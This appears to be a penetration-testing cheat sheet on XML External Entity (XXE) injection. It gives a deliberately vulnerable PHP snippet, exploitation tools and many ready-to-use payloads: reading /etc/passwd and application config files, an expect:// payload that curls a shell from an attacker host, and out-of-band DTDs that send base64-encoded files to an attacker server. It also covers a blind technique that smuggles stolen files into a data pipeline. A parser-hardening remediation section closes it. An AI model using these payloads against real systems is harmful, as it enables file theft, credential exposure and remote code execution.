XML External Entity (XXE) Injection
XXE Injection is a vulnerability that allows attackers to exploit XML parsers by including external entities. It can lead to reading local files, SSRF, or denial of service. This happens when untrusted XML input is parsed without proper configuration.
Vulnerable PHP Code:
To solve this vulnerability, we can Use libxml_disable_entity_loader(true); before parsing XML.
$xml = $_POST['data'];
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml);
Some Tools
- 230-OOB - An Out-of-Band XXE server for retrieving file contents over FTP.
- XXEinjector - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods.
- docem - A tool to embed XXE and XSS payloads in docx, odt, pptx, xlsx files (
oxml_xxeon steroids)
Confirm the Vulnerability
- Internal Entity: If an entity is declared within a DTD it is called an internal entity. Syntax:
<!ENTITY entity_name "entity_value"> - External Entity: If an entity is declared outside a DTD it is called an external entity. Identified by
SYSTEM. Syntax:<!ENTITY entity_name SYSTEM "entity_value">
Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
Make sure to change set Content-Type: application/xml in HTTP Request.
Exploiting XXE to Retrieve Files
Classic XXE
We try to display the content of the file /etc/passwd.
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY hehe SYSTEM 'file:///etc/passwd'>]>
<root>&hehe;</root>
For more refer here.
Classic XXE Base64 Encoded
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
PHP Wrapper Inside XXE
<!DOCTYPE replace [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>&xxe; ok</name>
</contact>
</contacts>
RCE using XXE
We can try to read id_rsa if possible or try to steal hash using responder by trying to connect to our server.
We can also try php://expect module for command execution but it needs to be enabled.
<?xml version="1.0"?>
<!DOCTYPE temp [
<!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'TUN0-IP/shell.php'">
]>
<contacts>
<contact>
<name>&xxe; ok</name>
</contact>
</contacts>
php://expect is disabled by default.
XXE with CDATA
When an app blocks normal XXE due to XML formatting issues, CDATA allows raw data output, including special characters. Wrapping external file contents inside <![CDATA[ ... ]]> lets XML parsers treat it as plain text - perfect for binary or unescaped data.
We can perform like this:
- Use CDATA to bypass XML formatting errors.
- XML doesn't allow mixing internal & external entities directly.
- Use parameter entities (
%entity) from external DTD to join them. - Host the DTD on your machine and point to it from the vulnerable app.
POC
- Create a new DTD file and save it as
custom.dtdand host it:
echo '<!ENTITY wrapper "%open;%target;%close;">' > custom.dtd
python3 -m http.server 2929
- Inject XXE in your request
<!DOCTYPE data [
<!ENTITY % open "<![CDATA[">
<!ENTITY % target SYSTEM "file:///var/www/html/config.php">
<!ENTITY % close "]]>">
<!ENTITY % remoteDTD SYSTEM "http://TUN0-IP:2929/custom.dtd">
%remoteDTD;
]>
<data>&wrapper;</data>
Error-Based XXE
When we can’t see XML output but errors are shown, we can abuse error messages to leak file content. By referencing a non-existent entity combined with a real file, the parser throws an error that includes the file content.
We can perform like this:
- Test for visible errors using malformed XML (missing tags, wrong closing tags or nonExistingEntity).
- Host an external DTD with a crafted payload to force an error.
- The error message will leak the file content.
POC
- Create DTD file (
leak.dtd) and Host it:
<!ENTITY % target SYSTEM "file:///var/www/html/index.php">
<!ENTITY % trigger "<!ENTITY err SYSTEM '%undefined;/error/%target;'>">
Host it using python http server:
python3 -m http.server 2929
- Inject into vulnerable XML request
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://TUN0-IP:2929/leak.dtd">
%remote;
%trigger;
]>
Please note:
%undefined;doesn't exist → triggers error.- Error will leak the content of
index.php. - May fail on large files or special chars.
Out-Of-Band Attack (OOB)
When no XML output or error messages are shown, use OOB exfiltration. This method makes the vulnerable server send HTTP requests to your server, leaking data via the URL.
We can perform like this:
- Use PHP filter to base64 encode file content.
- Inject that content into an HTTP request to your server.
- Capture & decode the base64 string.
POC
- Host DTD file (
oob.dtd) and host it using php:
<!ENTITY % encoded SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php">
<!ENTITY % exfil "<!ENTITY leak SYSTEM 'http://TUN0-IP:8000/?data=%encoded;'>">
php -S 0.0.0.0:2929
- Inject into the target
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://TUN0-IP:2929/oob.dtd">
%remote;
%exfil;
]>
<root>&leak;</root>
Note
We can use following index.php which automatically decodes the base64-encoded string:
<?php
if (isset($_GET['data'])) {
error_log("\n\n" . base64_decode($_GET['data']));
}
?>
Blind XXE (No Out-Of-Band Egress)
So far every method assumed some feedback - reflected output, a visible error, or an outbound request to us. In the hardest case none of those exist:
- no XML output,
- no error messages,
- and outbound network egress from the parser is blocked (so OOB callbacks never arrive).
The trick is to abuse the application's own data sink as the exfil channel. If the parser's output is stored, indexed, logged, or forwarded anywhere you can later read, you can plant the stolen file there instead of on your server.
This is very common in message/data pipelines:
XML upload -> message bus (Kafka/SQS/...) -> parser -> stored JSON/row -> warehouse DB
^ attacker input ^ XXE here ^ read the file back from here
Technique
- Confirm the parser resolves entities (inline
<!ENTITY x "v">echoed back, if you can see output). - Declare a
file://external entity and reference it in a field the downstream serializer preserves (enumerate the stored output once to learn the exact key path). - Read the stored value back from wherever it landed (database, search index, log store...). No callback is needed - the file content is now data in a system you can query.
Example (generic pipeline)
Upload an AIDX-style XML document; the parser writes the parsed tree into a JSON topic that lands in a queryable table:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE IATA_AIDX_FlightLegNotifRQ [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<IATA_AIDX_FlightLegNotifRQ xmlns="http://www.iata.org/IATA/2007/00">
<Originator>T</Originator>
<FlightLeg><LegIdentifier>
<Airline>XX</Airline><FlightNumber>1</FlightNumber>
<DepartureAirport>A</DepartureAirport><ArrivalAirport>B</ArrivalAirport>
<DepartureDate>&xxe;</DepartureDate>
</LegIdentifier></FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
curl -s -X POST -H "Content-Type: application/xml" --data-binary @xxe.xml http://TARGET/feeds/aidx
Read the exfiltrated content out of the sink (example: ClickHouse JSON column):
SELECT JSONExtractString(event, 'leg', 'all_fields', 'LegIdentifier', 'DepartureDate')
FROM partner_feed.flightleg_json
ORDER BY ingested DESC LIMIT 1;
The field returns the full contents of /etc/passwd.
The parser in this case used etree.XMLParser(load_dtd=True, resolve_entities=True, no_network=False), and serialized every element/attribute into the stored JSON - which is exactly what made the sink usable.
XML 1.0 forbids NUL bytes. Files that are NUL-separated - /proc/<pid>/cmdline, /proc/<pid>/environ - break the parse and produce no output row at all (it looks like the file does not exist). Only newline-separated files come back cleanly through this channel. Pick filenames accordingly.
Because pipelines are asynchronous, poll for a new row (compare a count() before and after) rather than sleeping a fixed time.
Why parameter entities may still be needed
If the parser won't let you place an external general entity directly (e.g. it forbids mixing internal and external entities, or you need binary-safe output), fall back to the parameter-entity/external-DTD pattern shown in the CDATA, Error-Based and OOB sections above - just point the final exfil entity at the sink value instead of your server when egress is blocked.
Remediation / Secure Coding
XXE is a parser configuration bug; fix it at the parser, not with blacklists.
- Disable DTDs / external entities globally.
- Java (JAXP
DocumentBuilderFactory/SAXParserFactory):Fordbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);XMLInputFactory:factory.setProperty(XMLInputFactory.SUPPORT_DTD, false)andIS_SUPPORTING_EXTERNAL_ENTITIES=false. ForXMLReader/StAX/SOAP, apply the equivalents. - Python
lxml:Or useetree.XMLParser(resolve_entities=False, no_network=True,
load_dtd=False, dtd_validation=False)defusedxml- it is hardened to exactly this class of bug. - PHP:
libxml_disable_entity_loader(true)(libxml < 2.9) and passLIBXML_NONET; never passLIBXML_NOENT. - .NET:
var settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }; - Node.js: use a parser with entity expansion disabled (e.g.
libxmljs2withnoent: false;fast-xml-parserdoes not expand external entities by default).
- Java (JAXP
- Validate against a strict schema and whitelist the elements/fields you expect - reject anything unexpected before it reaches a parser.
- Least privilege: run parsers with no filesystem or network access (container, seccomp,
no_network), and block outbound egress so even a missed case can't exfiltrate. - Treat message-bus input as untrusted. Anyone who can publish to a topic can reach the parser - do not assume "internal" = trusted.
- Don't place secrets in files a parser can reach; scope its working directory.
- Keep libraries patched; track CWE-611 (Improper Restriction of XML External Entity Reference).
More
For more techniques - such as WAF bypasses, using XXE in SVG files, and more - we can refer to this excellent resource: PayloadsAllTheThings - XXE Injection.
Additional references: